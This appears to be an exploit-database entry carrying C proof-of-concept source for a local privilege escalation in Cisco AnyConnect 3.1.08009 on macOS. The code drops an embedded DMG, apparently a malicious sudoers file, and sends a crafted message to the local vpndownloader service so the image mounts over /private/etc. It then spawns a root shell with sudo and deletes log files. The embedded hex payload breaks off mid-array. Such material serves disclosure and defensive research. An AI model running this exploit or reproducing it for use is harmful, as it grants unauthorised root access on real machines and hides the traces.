发布 2015-09-23 漏洞条目

Cisco AnyConnect 3.1.08009 – Local Privilege Escalation (via DMG Install Script)

Exploit Source

/* Cisco AnyConnect elevation of privileges via DMG install script - proof of concept

Yorick Koster, July 2015

https://securify.nl/advisory/SFY20150701/cisco_anyconnect_elevation_of_privileges_via_dmg_install_script.html

based on http://expertmiami.blogspot.com/2015/06/cisco-anyconnect-secure-mobility-client.html

#include <stdio.h>

#include <fcntl.h>

#include <stdlib.h>

#include <strings.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <uuid/uuid.h>

#define DMG_PATH "/private/tmp/sudoers.dmg"

#define MOUNT_POINT "/private/etc"

#define EXEC_PATH "/opt/cisco/anyconnect/bin/vpndownloader.app/Contents/Resources/install-dmg.sh"

#define EXEC_ARGS DMG_PATH " -owners on -mountpoint " MOUNT_POINT

#define CMD_TO_EXEC "sudo -s -- 'hdiutil eject -force /private/etc;rm -rf /private/tmp/[0-9]*.log;su -'"

extern unsigned char _private_tmp_sudoers_dmg[];

unsigned int _private_tmp_sudoers_dmg_len = 27052;

int main(int argc, char *argv[], char *envp[])

{

char *path = EXEC_PATH;

char *args = EXEC_ARGS;

int fd;

int sockfd;

struct sockaddr_in servaddr;

char *buf;

unsigned int len;

unsigned int offset = 0;

uuid_t uuid;

if((fd =creat(DMG_PATH, 0644)) == -1)

{

perror("creat");

return 1;

}

if(write(fd, _private_tmp_sudoers_dmg, _private_tmp_sudoers_dmg_len) != _private_tmp_sudoers_dmg_len)

{

perror("write");

close(fd);

unlink(DMG_PATH);

return 2;

}

close(fd);

len = 10 + strlen(path) + strlen(args);

if((buf = (char *)malloc(len + 26)) == NULL)

{

perror("malloc");

unlink(DMG_PATH);

return 3;

}

/* header */

buf[0] = 0x4f;

buf[1] = 0x43;

buf[2] = 0x53;

buf[3] = 0x43;

buf[4] = 0x1a;

buf[5] = 0x00;

buf[6] = len & 0xFF;

buf[7] = (len >> 8) & 0xFF;

uuid_generate(uuid);

memcpy(buf + 8, uuid, 16);

offset = 24;

buf[offset] = 0x01;

buf[offset + 1] = 0x02;

/* path */

buf[offset + 2] = 0x00;

buf[offset + 3] = 0x01;

buf[offset + 4] = 0x00;

buf[offset + 5] = (strlen(path) & 0xFF) + 1;

offset += 6;

memcpy(buf + offset, path, strlen(path) + 1);

offset += strlen(path) + 1;

/* args */

buf[offset] = 0x00;

buf[offset + 1] = 0x02;

buf[offset + 2] = 0x00;

buf[offset + 3] = (strlen(args) & 0xFF) + 1;

offset += 4;

memcpy(buf + offset, args, strlen(args) + 1);

sockfd = socket(AF_INET, SOCK_STREAM, 0);

bzero(&servaddr, sizeof(servaddr));

servaddr.sin_family = AF_INET;

servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

servaddr.sin_port = htons(29754);

if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)

{

perror("connect");

unlink(DMG_PATH);

free(buf);

return 4;

}

if(write(sockfd, buf, len + 26) == -1)

{

perror("write");

unlink(DMG_PATH);

free(buf);

return 5;

}

close(sockfd);

sleep(5); // arbitrary sleep

system(CMD_TO_EXEC);

unlink(DMG_PATH);

free(buf);

return 0;

}

unsigned char _private_tmp_sudoers_dmg[] = {

0x78, 0x01, 0xed, 0xd0, 0x41, 0x0a, 0x01, 0x01, 0x18, 0x05, 0xe0, 0x57,

0x4e, 0x30, 0x3b, 0x4b, 0x4b, 0x4b, 0xce, 0x40, 0x28, 0x4b, 0x17, 0x18,

0x65, 0x92, 0x26, 0x36, 0x0e, 0xe0, 0x06, 0xae, 0xa1, 0x26, 0xc5, 0xca,

0x15, 0xdc, 0x45, 0xca, 0x15, 0x28, 0xb3, 0xb1, 0x73, 0x80, 0xef, 0xdf,

0xbc, 0xff, 0xd5, 0x5b, 0x7d, 0x59, 0x4c, 0x66, 0x49, 0x53, 0x34, 0x45,

0x06, 0xd5, 0xe8, 0x79, 0xbe, 0x4c, 0x0f, 0xf7, 0x63, 0xa7, 0x9c, 0xdf,

0x5e, 0xf5, 0xee, 0x31, 0xbe, 0x76, 0xfb, 0xf9, 0xde, 0x69, 0xd8, 0x3e,

0x6d, 0xac, 0xb2, 0xc9, 0x3e, 0x75, 0x7a, 0x9f, 0xdc, 0x66, 0x99, 0x75,

0xaa, 0xdf, 0x81, 0x46, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,

0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00,

0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04,

0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,

0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00,

0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04,

0x08, 0xfc, 0x2d, 0xf0, 0x06, 0xbc, 0xb0, 0x11, 0x82, 0x78, 0x01, 0xed,

0xd0, 0x81, 0x00, 0x00, 0x00, 0x00, 0xc3, 0xa0, 0xf9, 0x53, 0x1f, 0xe4,

0x85, 0x50, 0x61, 0xc0, 0x80, 0x01, 0x03, 0x06, 0x0c, 0x18, 0x30, 0x60,

0xc0, 0xc0, 0xcb, 0xc0, 0x00, 0x0c, 0x00, 0x00, 0x01, 0x78, 0x01, 0x73,

0x75, 0xf3, 0x54, 0x08, 0x70, 0x0c, 0x0a, 0x61, 0x60, 0x60, 0x64, 0x88,

0x61, 0x60, 0x60, 0x38, 0x28, 0xba, 0xff, 0x1b, 0x90, 0x62, 0x38, 0x69,

0x08, 0x22, 0x41, 0xa2, 0x10, 0xa0, 0x04, 0xa5, 0x57, 0x40, 0xc5, 0xcf,

0xfc, 0xba, 0xd5, 0x77, 0xb6, 0x56, 0xdf, 0x6b, 0xf1, 0x75, 0x51, 0x8d,

0x53, 0xc2, 0x26, 0x92, 0x2b, 0xa1, 0xe2, 0x0d, 0x40, 0x75, 0x20, 0xbc,

0x53, 0x6d, 0xe9, 0x47, 0x20, 0x35, 0x0a, 0x06, 0x79, 0x08, 0x00, 0x00,

0x8b, 0xa0, 0x13, 0x2b, 0x78, 0x01, 0x63, 0x60, 0x18, 0x05, 0xa3, 0x21,

0x30, 0x1a, 0x02, 0xa3, 0x21, 0x30, 0x1a, 0x02, 0xa3, 0x21, 0x30, 0x1a,

0x02, 0xa3, 0x21, 0x30, 0x1a, 0x02, 0xa3, 0x21, 0x30, 0x1a, 0x02, 0x23,

0x25, 0x04, 0x3c, 0xb4, 0x19, 0x58, 0x1a, 0x18, 0x14, 0x19, 0x3c, 0xdc,

0x82, 0xbd, 0x18, 0x18, 0xd8, 0xf4, 0x2e, 0xee, 0xdc, 0x5f, 0x76, 0x71,

0xe7, 0xe2, 0x70, 0x90, 0xff, 0x81, 0x74, 0x18, 0x90, 0x62, 0x86, 0x60,

0x01, 0x20, 0xc5, 0x66, 0xc0, 0xc0, 0xc0, 0x5a, 0x0c, 0x52, 0xc7, 0xc0,

0x08, 0xe4, 0x82, 0x30, 0x03, 0x83, 0x24, 0x03, 0x03, 0x0b, 0x0b, 0x98,

0x05, 0x13, 0x81, 0x72, 0x90, 0xa9, 0xb5, 0x1b, 0xea, 0x66, 0x95, 0x87,

0xdd, 0xfb, 0x06, 0x11, 0x03, 0x99, 0x05, 0xc2, 0x70, 0x53, 0x20, 0x26,

0x41, 0x24, 0x49, 0x27, 0x19, 0x81, 0xce, 0x62, 0x38, 0x00, 0xd2, 0x27,

0x0c, 0xc4, 0xcd, 0x50, 0x1a, 0xc4, 0x27, 0x0f, 0xa0, 0x98, 0xc7, 0x18,

0x03, 0x34, 0x04, 0x64, 0x2e, 0xf9, 0x80, 0x51, 0x01, 0x16, 0x32, 0x42,

0x40, 0x43, 0xa6, 0x01, 0x31, 0x88, 0x1e, 0x05, 0xa3, 0x21, 0x30, 0xe0,

0x21, 0x00, 0x00, 0xb3, 0x3c, 0x14, 0x7d, 0xfd, 0xb9, 0xc0, 0x0b, 0x4c,

0x6c, 0x24, 0xac, 0x72, 0x81, 0x3f, 0x4e, 0x6c, 0x24, 0xac, 0x20, 0x40,

0x80, 0x00, 0x01, 0x02, 0x3b, 0x27, 0x30, 0xf7, 0xf8, 0x67, 0x4e, 0xcc,

0x9d, 0x7e, 0xf8, 0x40, 0x7c, 0x7b, 0xb0, 0xcf, 0x36, 0x6f, 0x2f, 0xf4,

0xfb, 0x11, 0x5f, 0xfc, 0xdc, 0x33, 0x7b, 0xa3, 0x1b, 0x31, 0xf1, 0xc9,

0xdf, 0xec, 0x5c, 0xc3, 0xec, 0x69, 0x47, 0x04, 0x6e, 0x75, 0xb2, 0xeb,

0xf6, 0xa3, 0x11, 0xbf, 0x5f, 0x38, 0x3f, 0xb5, 0xba, 0x1b, 0xc5, 0x3d,

0x79, 0xbc, 0xff, 0xb6, 0x6f, 0xd0, 0x8c, 0xec, 0xae, 0xfd, 0xd7, 0x97,

0x67, 0x2f, 0xff, 0x65, 0xd9, 0xf4, 0xec, 0xf7, 0x1e, 0xfc, 0x41, 0x9e,

0x16, 0x4d, 0xca, 0xc2, 0xfd, 0x37, 0x9e, 0x7a, 0xfc, 0x49, 0x89, 0x00,

0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04,

0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,

0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0xd8, 0x71, 0x81, 0xf6,

0xf6, 0xfd, 0xad, 0x4e, 0xd4, 0x9d, 0xfd, 0x7b, 0x73, 0xe8, 0xc4, 0x5d,

0x71, 0x3d, 0x5e, 0x88, 0xe7, 0xe2, 0x6a, 0x9c, 0x8d, 0x6b, 0x59, 0x6e,

0x7e, 0x21, 0x52, 0x31, 0xde, 0xba, 0x15, 0x13, 0xae, 0x1d, 0xda, 0x6d,

0x47, 0xf9, 0x23, 0x6f, 0x8f, 0xca, 0xeb, 0x96, 0x46, 0xdd, 0x0c, 0xf6,

0xe4, 0x3a, 0xd5, 0x81, 0xa0, 0x99, 0xf3, 0x9f, 0xfb, 0x3d, 0xb6, 0xb4,

0xfc, 0x63, 0x71, 0x24, 0x66, 0x62, 0x3a, 0x4e, 0xc5, 0xe1, 0xe8, 0xc7,

0xc9, 0x6c, 0xd1, 0xf9, 0x78, 0x31, 0xce, 0xc4, 0x57, 0xb2, 0x75, 0xfd,

0x78, 0x2c, 0xa7, 0xae, 0x65, 0xe9, 0xd9, 0x9c, 0xbe, 0x9a, 0xa5, 0xaf,

0x2d, 0xcd, 0xab, 0xa5, 0x67, 0xe2, 0x9e, 0x6c, 0xf9, 0x52, 0x98, 0xb9,

0xac, 0xe7, 0x60, 0xdb, 0xea, 0x36, 0xcf, 0x79, 0xa3, 0xd4, 0x3d, 0x7e,

0x39, 0x27, 0x9a, 0xd7, 0x99, 0x85, 0x93, 0x71, 0x2c, 0xff, 0x36, 0x48,

0x1f, 0xc9, 0x65, 0xdd, 0xec, 0x22, 0x73, 0x24, 0x2e, 0xe4, 0x5e, 0x5f,

0xc8, 0xfd, 0x5e, 0xc9, 0xfd, 0x5d, 0xca, 0x79, 0xf5, 0x7a, 0x2a, 0x4d,

0xe6, 0x7e, 0x9e, 0xa8, 0xa1, 0x99, 0x5c, 0x3d, 0x9e, 0xaf, 0x19, 0x9d,

0x0b, 0xd7, 0xae, 0x5c, 0x9a, 0x3d, 0x77, 0xfd, 0xf0, 0xc9, 0xd5, 0x8b,

0xd7, 0x9a, 0x1e, 0xfd, 0xf2, 0x66, 0x3e, 0x17, 0x97, 0x59, 0xe5, 0x77,

0x46, 0x7a, 0x30, 0x9b, 0xd1, 0xcd, 0x28, 0x79, 0xab, 0x3d, 0x9e, 0xce,

0xa3, 0x73, 0x25, 0xce, 0xa5, 0xd1, 0xd3, 0xf1, 0x4c, 0xfa, 0x5c, 0xcd,

0xe3, 0x74, 0x71, 0x99, 0xd2, 0xd4, 0x9a, 0x47, 0x63, 0xf8, 0x9a, 0xe6,

0xab, 0xb4, 0x35, 0xa5, 0xe1, 0x01, 0x5f, 0x3a, 0x9a, 0x75, 0x34, 0x86,

0x47, 0xb5, 0x2a, 0xbb, 0xad, 0xa9, 0x7e, 0x42, 0xd5, 0x8d, 0x0f, 0x0f,

0xdb, 0xb0, 0xd1, 0x59, 0xdd, 0x9c, 0xc1, 0xa3, 0xf3, 0xf7, 0x40, 0x2b,

0xd5, 0xe6, 0xc3, 0x5a, 0xaa, 0xd0, 0x3d, 0x96, 0xa3, 0xd1, 0x2b, 0xfd,

0xaf, 0xe7, 0x6f, 0xbd, 0xf3, 0xea, 0x9d, 0xd1, 0xc4, 0x6d, 0x5c, 0xeb,

0x4c, 0xae, 0x35, 0xa6, 0x96, 0xad, 0xb1, 0xd9, 0x63, 0x5b, 0xdb, 0x55,

0x74, 0xc3, 0xe6, 0x3d, 0xbd, 0xb5, 0x57, 0x5b, 0xdb, 0x56, 0xa4, 0xc5,

0x76, 0xdb, 0xf7, 0xf3, 0xce, 0xcf, 0x6a, 0x24, 0x02, 0x04, 0x08, 0x10,

0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0xff, 0xbf, 0x02, 0xbd, 0x3f, 0xf5,

0xbe, 0xdf, 0x3b, 0xd9, 0xbb, 0x6f, 0xec, 0xe6, 0xd8, 0xa5, 0xee, 0x74,

0xe7, 0x13, 0xf1, 0xd3, 0xf8, 0x7a, 0x4c, 0xb4, 0x1e, 0x79, 0x91, 0x54,

0xff, 0x75, 0xd7, 0xb5, 0x52, 0x0d, 0xf5, 0x5d, 0xc0, 0x52, 0x79, 0x32,

0xba, 0x75, 0x8d, 0x50, 0xff, 0x95, 0xd7, 0xd5, 0x40, 0x45, 0x46, 0x7f,

0x3d, 0xf3, 0xfa, 0x4f, 0x7d, 0x57, 0xa7, 0x85, 0x5d, 0xdd, 0x7a, 0x8d,

0x27, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80,

0x00, 0x01, 0x02, 0x9b, 0x13, 0xd8, 0xbf, 0x18, 0x8b, 0x31, 0x17, 0x13,

0x2b, 0x9f, 0xff, 0x56, 0xf7, 0xf7, 0x97, 0x9e, 0xff, 0x56, 0xcf, 0x7d,

0x6b, 0x9f, 0xff, 0x56, 0xf7, 0x50, 0x73, 0xa8, 0xdb, 0x85, 0x7b, 0xf3,

0xd1, 0x10, 0x7b, 0x8f, 0xe7, 0xe4, 0xc7, 0x87, 0xdf, 0x14, 0xb4, 0x7d,

0x06, 0x6a, 0x83, 0xe6, 0x3b, 0x83, 0xa6, 0xb4, 0x6a, 0xbc, 0xed, 0xcf,

0x7f, 0xab, 0x6f, 0x26, 0x9a, 0xef, 0x29, 0x5e, 0x1a, 0xe4, 0xab, 0x5a,

0xb0, 0x85, 0xc9, 0xaa, 0x6b, 0x58, 0xdf, 0x07, 0xf5, 0xfc, 0xb7, 0x7e,

0x35, 0xe0, 0x8e, 0x7b, 0xfe, 0x5b, 0x1b, 0xff, 0xe1, 0x77, 0xaf, 0xcf,

0x4e, 0x36, 0xb7, 0x5d, 0x47, 0x4e, 0x15, 0xef, 0xa3, 0xed, 0xce, 0x50,

0x85, 0x43, 0x47, 0x5f, 0x7b, 0x7e, 0x79, 0x3c, 0x88, 0x1f, 0xfe, 0xfa,

0x91, 0xcf, 0x2e, 0x8f, 0x07, 0x71, 0xee, 0x5b, 0x0f, 0x7c, 0x67, 0xc7,

0x3b, 0xb0, 0xd8, 0x21, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80,

0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02,

0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10,

0x20, 0xf0, 0x64, 0xd3, 0xff, 0xa3, 0x1f, 0x33, 0xd3, 0xa7, 0x4e, 0xe4,

0x9d, 0xff, 0xf5, 0xfa, 0x7f, 0x64, 0xd7, 0x80, 0x75, 0xfb, 0x7f, 0xd4,

0xef, 0xd9, 0xdb, 0x6e, 0x02, 0xf5, 0x9b, 0x91, 0x35, 0x93, 0xfe, 0x1f,

0xfd, 0x72, 0xb9, 0xe3, 0xfa, 0x7f, 0xb4, 0x07, 0x2b, 0xe3, 0x7f, 0x7c,

0x28, 0xcb, 0x1b, 0xc5, 0xff, 0x18, 0xcf, 0xe5, 0xeb, 0xc4, 0xff, 0xe8,

0xdc, 0x6c, 0xb6, 0xdd, 0x54, 0xfc, 0x8f, 0xaa, 0xa7, 0x49, 0xf5, 0x2b,

0xa2, 0x3a, 0x73, 0x9a, 0x8e, 0x27, 0xe2, 0x7f, 0x0c, 0x58, 0xd6, 0xc9,

0xc4, 0xff, 0x58, 0x07, 0x66, 0xe5, 0xec, 0xfa, 0x9c, 0x5a, 0x4a, 0xf5,

0x59, 0x54, 0x67, 0xd7, 0xba, 0x9f, 0x49, 0xcd, 0x6a, 0x3b, 0x38, 0x1e,

0x45, 0x8d, 0xf9, 0x7c, 0x46, 0x8c, 0x39, 0x93, 0x91, 0x75, 0x66, 0x33,

0x72, 0x4d, 0xc5, 0xd7, 0x99, 0x1f, 0xb4, 0xe2, 0xde, 0x36, 0xba, 0x47,

0x9b, 0x0f, 0xe6, 0x3f, 0x9b, 0x79, 0x0e, 0x8f, 0xbe, 0x99, 0xf9, 0xf0,

0xf5, 0x1c, 0x1b, 0x2c, 0xac, 0xec, 0x0b, 0x3f, 0xfa, 0xe7, 0x1f, 0x97,

0x4d, 0x36, 0xc5, 0xea, 0x12, 0xb7, 0xb5, 0x08, 0x1c, 0xe2, 0x8d, 0x6c,

0x14, 0x93, 0x65, 0xa3, 0x48, 0x43, 0xf5, 0x59, 0x56, 0x9f, 0x9e, 0xcd,

0x67, 0x59, 0x13, 0x51, 0x65, 0xe5, 0x51, 0x6e, 0x8e, 0x89, 0x31, 0x01,

0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x81, 0x6d, 0x16, 0xb8,

0x39, 0x3e, 0x7e, 0x61, 0x7c, 0xa6, 0xf7, 0x6e, 0x6f, 0xa1, 0xf7, 0xdd,

0xde, 0xb9, 0xb1, 0x3f, 0x6f, 0x22, 0xfe, 0x47, 0x7d, 0x17, 0x50, 0xd7,

0x19, 0x1d, 0xf1, 0x3f, 0xb6, 0xf9, 0xe0, 0xa8, 0x9e, 0x00, 0x01, 0x02,

0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x6c,

0xa3, 0x40, 0x1b, 0xff, 0x63, 0x1b, 0x77, 0xa1, 0x6a, 0x02, 0x04, 0x08,

0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,

0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01,

0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x00, 0x01, 0x02, 0x04, 0x08,